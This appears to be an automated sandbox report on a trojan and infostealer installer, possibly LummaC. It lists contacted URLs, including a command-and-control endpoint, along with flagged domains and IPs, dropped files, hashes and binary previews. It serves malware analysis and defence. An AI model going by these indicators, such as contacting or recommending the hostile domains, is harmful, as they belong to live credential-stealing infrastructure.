https://sectigo.com/CPS0D	P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2038980763.0000000003460000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2045380643.0000000002500000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2497508353.0000000002620000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
https://dfgh.online	powershell.exe, 00000011.00000002.1975939792.0000000004F56000.00000004.00000800.00020000.00000000.sdmp	false		high
https://jrsoftware.org0	P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2038980763.0000000003460000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2045380643.0000000002500000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2497508353.0000000002620000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
https://jrsoftware.org/	P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2038980763.0000000003460000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2045380643.0000000002500000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2497508353.0000000002620000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://www.autohotkey.comCould	BrightLib.exe, 00000031.00000002.2471238742.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000031.00000000.2438823100.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, is-U83DO.tmp.22.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000011.00000002.1975939792.0000000004E01000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.certum.pl/CPS0	P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2038980763.0000000003460000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2045380643.0000000002500000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2497508353.0000000002620000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000011.00000002.1978063815.0000000005E66000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000011.00000002.1975939792.0000000005034000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2045380643.0000000002500000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2497508353.0000000002620000.00000004.00001000.00020000.00000000.sdmp	false		high
http://michaeluno.jp/4	BrightLib.exe, 00000031.00000002.2472266952.00000000031E0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://repository.certum.pl/ctnca.cer09	P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2038980763.0000000003460000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2045380643.0000000002500000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2497508353.0000000002620000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000011.00000002.1975939792.0000000004F56000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000011.00000002.1975939792.0000000005034000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.certum.pl/ctnca.crl0k	P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2038980763.0000000003460000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2045380643.0000000002500000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2497508353.0000000002620000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000011.00000002.1975939792.0000000004F56000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000011.00000002.1975939792.00000000055FF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000011.00000002.1978063815.0000000005E66000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.autoitscript.com/autoit3/X	Peas.com, 0000000C.00000000.1703093733.0000000000345000.00000002.00000001.01000000.00000006.sdmp, Peas.com.1.dr, Appearance.8.dr	false		high
http://www.microsoft.	powershell.exe, 00000011.00000002.1981711579.00000000084A6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.autohotkey.com	BrightLib.exe, 00000031.00000002.2471238742.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000031.00000000.2438823100.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, is-U83DO.tmp.22.dr	false		high
http://nsis.sf.net/NSIS_ErrorError	installer_1.05_36.7.exe	false		high
https://www.certum.pl/CPS0	P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2038980763.0000000003460000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2045380643.0000000002500000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2497508353.0000000002620000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://crl.certum.pl/cscasha2.crl0q	P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2497508353.0000000002620000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
https://github.com/Pester/Pester	powershell.exe, 00000011.00000002.1975939792.0000000004F56000.00000004.00000800.00020000.00000000.sdmp	false		high
http://cscasha2.ocsp-certum.com04	P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2038980763.0000000003460000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2045380643.0000000002500000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2497508353.0000000002620000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2038980763.0000000003460000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2045380643.0000000002500000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2497508353.0000000002620000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
https://dfgh.online/invoker.php?compName=user-PC	powershell.exe, 00000011.00000002.1975939792.0000000004F56000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2038980763.0000000003460000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2045380643.0000000002500000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2497508353.0000000002620000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000011.00000002.1975939792.0000000005034000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.info-zip.org/	BrightLib.exe, 00000031.00000002.2494418972.0000000039E6F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://michaeluno.jp/	BrightLib.exe, 00000031.00000002.2472266952.00000000031E0000.00000004.00000020.00020000.00000000.sdmp, BrightLib.exe, 00000031.00000002.2472896767.0000000006154000.00000004.00000020.00020000.00000000.sdmp, BrightLib.exe, 00000031.00000000.2438868978.0000000000AEE000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000031.00000002.2470981892.000000000013E000.00000004.00000020.00020000.00000000.sdmp, is-U83DO.tmp.22.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
188.114.97.3	grubbytellek.click	European Union	13335	CLOUDFLARENETUS	true
185.161.251.21	cegu.shop	United Kingdom	5089	NTLGB	false
172.67.208.58	klipvumisui.shop	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584541
Start date and time:	2025-01-05 19:49:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	51
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	installer_1.05_36.7.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@84/39@5/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 51% Number of executed functions: 47 Number of non-executed functions: 41
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target BrightLib.exe, PID 3672 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 7136 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: installer_1.05_36.7.exe

Simulations

Behavior and APIs

Time	Type	Description
13:49:57	API Interceptor	1x Sleep call for process: installer_1.05_36.7.exe modified
13:50:15	API Interceptor	10x Sleep call for process: Peas.com modified
13:50:25	API Interceptor	17x Sleep call for process: powershell.exe modified
13:51:14	API Interceptor	1x Sleep call for process: BrightLib.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.97.3	Gg6wivFINd.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	unasnetds.ru/eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php
	Payment Receipt.exe	Get hash	malicious	FormBook	Browse	www.cifasnc.info/8rr3/
	dGhlYXB0Z3JvdXA=-free.exe	Get hash	malicious	Unknown	Browse	/api/get/free
	dGhlYXB0Z3JvdXA=-free.exe	Get hash	malicious	Unknown	Browse	/api/get/free
	RFQ 3100185 MAHAD.exe	Get hash	malicious	FormBook	Browse	www.rgenerousrs.store/o362/
	A2028041200SD.exe	Get hash	malicious	FormBook	Browse	www.beylikduzu616161.xyz/2nga/
	Delivery_Notification_00000260791.doc.js	Get hash	malicious	Unknown	Browse	radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=45
	ce.vbs	Get hash	malicious	Unknown	Browse	paste.ee/d/lxvbq
	Label_00000852555.doc.js	Get hash	malicious	Unknown	Browse	tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=25
	PO 20495088.exe	Get hash	malicious	FormBook	Browse	www.ssrnoremt-rise.sbs/3jsc/
185.161.251.21	Setup.exe	Get hash	malicious	LummaC	Browse
	Set-up.exe	Get hash	malicious	LummaC	Browse
	setup.exe	Get hash	malicious	LummaC	Browse
	'Set-up.exe	Get hash	malicious	LummaC	Browse
	Set-up.exe	Get hash	malicious	LummaC	Browse
	SET_UP.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	Full_Setup.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cegu.shop	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Set-up.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	'Set-up.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Set-up.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	SET_UP.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Full_Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
klipvumisui.shop	Set-up.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	'Set-up.exe	Get hash	malicious	LummaC	Browse	104.21.37.128
	Set-up.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	SET_UP.exe	Get hash	malicious	LummaC	Browse	104.21.37.128
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	Full_Setup.exe	Get hash	malicious	LummaC	Browse	104.21.37.128
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.37.128
	Active_Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.37.128
	re5.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.37.128
	setup.exe	Get hash	malicious	LummaC	Browse	172.67.208.58

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Installer_x64.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Installer.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	104.21.32.1
	Insomia.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Aura.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	104.21.80.1
	loader.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	188.114.97.3
	LinxOptimizer.exe	Get hash	malicious	Unknown	Browse	172.67.75.163
	Script.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	104.21.80.1
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	Set-up.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
NTLGB	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Set-up.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	'Set-up.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Set-up.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	SET_UP.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Full_Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	momo.mips.elf	Get hash	malicious	Mirai	Browse	82.18.222.135
CLOUDFLARENETUS	Installer_x64.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Installer.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	104.21.32.1
	Insomia.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Aura.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	104.21.80.1
	loader.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	188.114.97.3
	LinxOptimizer.exe	Get hash	malicious	Unknown	Browse	172.67.75.163
	Script.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	104.21.80.1
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	Set-up.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Installer_x64.exe	Get hash	malicious	LummaC	Browse	172.67.208.58 188.114.97.3 185.161.251.21
	Installer.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	172.67.208.58 188.114.97.3 185.161.251.21
	Insomia.exe	Get hash	malicious	LummaC	Browse	172.67.208.58 188.114.97.3 185.161.251.21
	Aura.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	172.67.208.58 188.114.97.3 185.161.251.21
	loader.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	172.67.208.58 188.114.97.3 185.161.251.21
	Script.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	172.67.208.58 188.114.97.3 185.161.251.21
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.208.58 188.114.97.3 185.161.251.21
	Set-up.exe	Get hash	malicious	LummaC	Browse	172.67.208.58 188.114.97.3 185.161.251.21
	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.208.58 188.114.97.3 185.161.251.21
	'Set-up.exe	Get hash	malicious	LummaC	Browse	172.67.208.58 188.114.97.3 185.161.251.21

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse
	'Set-up.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	9W9jJCj9EV.bat	Get hash	malicious	Remcos	Browse
	c2.hta	Get hash	malicious	Remcos	Browse
	c2.hta	Get hash	malicious	Remcos	Browse
	RisingStrip.exe	Get hash	malicious	Vidar	Browse
	Active_Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	CenteredDealing.exe	Get hash	malicious	Vidar	Browse
	CenteredDealing.exe	Get hash	malicious	Vidar	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	947288
Entropy (8bit):	6.630612696399572
Encrypted:	false
SSDEEP:	24576:uvG4FEq/TQ+Svbi3zcNjmsuENOJuM8WU2a+BYK:u9GqLQHbijkmc2umva+OK
MD5:	62D09F076E6E0240548C2F837536A46A
SHA1:	26BDBC63AF8ABAE9A8FB6EC0913A307EF6614CF2
SHA-256:	1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
SHA-512:	32DE0D8BB57F3D3EB01D16950B07176866C7FB2E737D9811F61F7BE6606A6A38A5FC5D4D2AE54A190636409B2A7943ABCA292D6CEFAA89DF1FC474A1312C695F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Set-up.exe, Detection: malicious, Browse Filename: 'Set-up.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: 9W9jJCj9EV.bat, Detection: malicious, Browse Filename: c2.hta, Detection: malicious, Browse Filename: c2.hta, Detection: malicious, Browse Filename: RisingStrip.exe, Detection: malicious, Browse Filename: Active_Setup.exe, Detection: malicious, Browse Filename: CenteredDealing.exe, Detection: malicious, Browse Filename: CenteredDealing.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\x

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	514307
Entropy (8bit):	7.999667791835747
Encrypted:	true
SSDEEP:	12288:teb+rNvXisHeGFVOOFqQdHZmUS6cJ/sxvvLSp31Cx3qj6KjKgFwHSckH/E:kwLFcUqMS6cJ/sxbSp3a3qjjmCc
MD5:	DC30E55D6CC35ABD376844050E84A4FE
SHA1:	504BCA4E5FB3C11BB8918B3B3B760EEC018588D4
SHA-256:	0D97EA67A49B454E9BC914E510AC2C367CFFA3323939A2D678E1AE6E9B7F60DA
SHA-512:	AAC58EA179CB67C1CAAA63634CAB09A27D82B816C102E865731994A1AB885E1FD396C8B0F471DC11120F8C717E7A1147A1D2FCF108B9A2B570CB2E2D80C27F0A
Malicious:	false
Preview:	....V......6.S..".;`.......'.....rL6........]0...`Qcq...H])t.5z.5O`..=..E..0X....j....[.`.v....'...k...y..T..e.....B.z...Jl}W..1.....V...Uu\p..-..{5..O..wW~..d6. Q.........#.9>.U....o&>.B.&.%.....b.g...J5...@D._N).h..a......q.z?..A....%.2..SM...U@...QK..V.A...Z...h.{...\|...HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....Rx...C.M.'.F...h..............^..6ke.^..6ke.kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r..q.$..,P..Myn.2..t.W....HR.......[X..^...&^.^..6ke.m.....`..q..5...x..2(.U.j...."e.x#.A......)..h..}.........o.]4...G.....c]..!5....?....H.RY...u%+x.d..g@....,qAC'x=.}.....2.m..m..1..\|..X{.I.....aW..e.w...v7l.pK3..sp.h.N..K.3....c.?',C.....oY.X._..n.Vn..4........jN.=.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Accessing

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	81920
Entropy (8bit):	6.056844765033868
Encrypted:	false
SSDEEP:	1536:Bde6YF640L6wy4Za9IN3YRYfv2j62SfuVGHj1vtK7h6R8anHsWccd0vtmgMbFuzO:Bde6u640ewy4Za9coRC2jfTq8QLeAg0/
MD5:	F7028CDFCED4730ED634A64C634ADBB5
SHA1:	6BC8ED6C6967AB87C2619F3AB03409B956310B8C
SHA-256:	1432F581E94F9AABFA38F097D77C5D16F001C4C06074294D3C240B169305D525
SHA-512:	C48FD29C95CA446A3DF903FFAA4AB8068FEC5FC97DE036996A2B7845B082746B905E23464E2F4D813F1A5ACA08A5935C0A2BD75CD3737364339AE98E53B12AC5
Malicious:	false
Preview:	.cI..E..... ...Pj..u.W..H.I....t.VP.u.W..H.I..E.j.SP.(...f....E..E....f;..(M.t.f..u.P..T.I...H.I.VV.u.E..*..H.I.h.(M..E.P......P..!....t.......PV.u.W....E.........Pj..u.W..........VP.u.W......V.u..zr..Y....Ph....W..H.I..o....u..Zr..Y.o...Pj.h.......u..Kp.m....G.....t.f91t..u.j.h......u.W..$.I.h?B..h@B..h....W..H.I..E..............M..U.j.j..B...YY.E.PVh.........].........j .E.VP........].h.(M..E.P......P. ....t6f..............E......E.t..E.PVh`...W..H.I.........F.S.b...Y..t.S.W...Yf.DC.f;..(M...S....E..E..E.PVh`...W......}..[4........j4.E.VP......E......@.....8....8.......Pj.hS...S..H.I..E......;....}.h.(M..E.P......P.......t;f..............E......E..u.t..E.P.u.ht...S..H.I.........F.W....Y..t.W.u...Yf.DG.f;..(M...q....E..E..E.P.u..u.ht...S.,.C........E.............PVh?....s4...........H.I..........i....E.3...(...G............P.......Ph=...........H.I...../.................E.WV.0..X.I......h.....P...Y...P...0.....P....T.......PV.u...t....s..x...........I...tA..X.......u

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Advice

Download File

Process:	C:\Users\user\Desktop\installer_1.05_36.7.exe
File Type:	data
Category:	dropped
Size (bytes):	42243
Entropy (8bit):	7.995366302652588
Encrypted:	true
SSDEEP:	768:/zAMTza7dgYfwqFAQ5s6LXZmGPf+kkmOUQk35zS4/Yh:/zAgzkH53LJ3dNzPYh
MD5:	A4C04BBCFB82C963758BF1A52A0339CE
SHA1:	3521455DD9C155FC26204BF0C64EEC1DB629EF3C
SHA-256:	6689398721DCF897D5B358CF6C2082804D34A8FDC2CB7FBA1742207BC57ECD80
SHA-512:	81391FEB9B2C3B56BFA784EC6A8B0BC93929F63E01A56B942C4D2AAE6A106977164C44BD6F599EB9A082D6981115D4BA0AE4060ECF774E034401F1A582A86A2E
Malicious:	false
Preview:	.&.........#.s"..`..]....Y.~h..F.y.....)I..0....O..../..3........D.p..?.MFH.Ch..&..`..p...A..Q..w..L.md..E-...q.aK..cI.Dm..b#.;../...=..l....J.a.^....9....}<..Q/.Nbac..L....o.....l..c@Z...o.}....!..q...mB.p.;...j&.jp..E.\.Wzu.r2..$i..#%..u.b.M^...2>..HH....\..wX.-z;..Ac...4....L.UJ~.+.z......].{ud.m...Yh.A-...Cv.%d..d..p....BC..V.r....z.OI[C..M(c..\iF?.#x%.T..A}'G;.....j......+...C...@...8...'...._6 ....g.7q..A_...I...O..X...(.MQ..:......<.7.....c`{].f%L.h].,.~.U.a.P.!Y....[.t.o.?.o......Y.%.?N"2....2.-.q.-AD~..B5.>...B..:)..(.w.."...<...=.y7....y+...pJl`..hd..d..zO..N.!.w.O;.z..90'..X...6.,..>...H.o./......S....>x.=K~SJ.?.._.1v.......TG....O.F.){..86..?Ru"\|Q}...F.j..)....Q....]^..*R.....F1..gm...:t.=..6...R......v.v.....r.w..+i.....Q.........\|.R.>...~...".+..........C.....@.......0.AB/...4.(...E"&~.h}...l+[8.'`...F?.1.......3....`.zw..z.lV%...[G...f....fn........=-0. qS.>..w.. ..T{..(...P.u..O.^Bf.B.....g...:..^1..:..)R..!.`......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Appearance

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	121856
Entropy (8bit):	4.658475993233383
Encrypted:	false
SSDEEP:	768:9/SGKAGWRqA60dTcR4qYnGfAHE9AUsFxyLtVSQsbZgar3R/OWel3EYr8:ZKaj6iTcPAsAhxjgarB/5el3EYr
MD5:	750D4A3DA4CE28D54655B43C78D44398
SHA1:	E324F63FA5AE56D51187EFFE4FE477438638744D
SHA-256:	0615076B0ABD1BE0FF0223FB2C2E674819C36557DC8D1CEBF6CC1E4FD62E8128
SHA-512:	E1A5468996E6ED45D4B45440A3909383A0062FA08148488986BC2D97E80BB2C3C88EB5A28716DA556AEF8E7D030F2C66A5FD847C399B3CDC5F2561DD3A4CD97E
Malicious:	false
Preview:	.r.......................r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Buys

Download File

Process:	C:\Users\user\Desktop\installer_1.05_36.7.exe
File Type:	Microsoft Cabinet archive data, 488056 bytes, 11 files, at 0x2c +A "Optimal" +A "Scientific", ID 9609, number 1, 29 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	488056
Entropy (8bit):	7.998422174151151
Encrypted:	true
SSDEEP:	6144:ogGUgHLr5Sk8hG2RFLi0rsk1jGA6yqi65C2+vwc30kjkdZTUQbkubTSZbFAvNjXu:UX5S42RFLhjGCqinN3itIubmivNDu
MD5:	4FAD7ECD1031C89284FEADFBEF908BD1
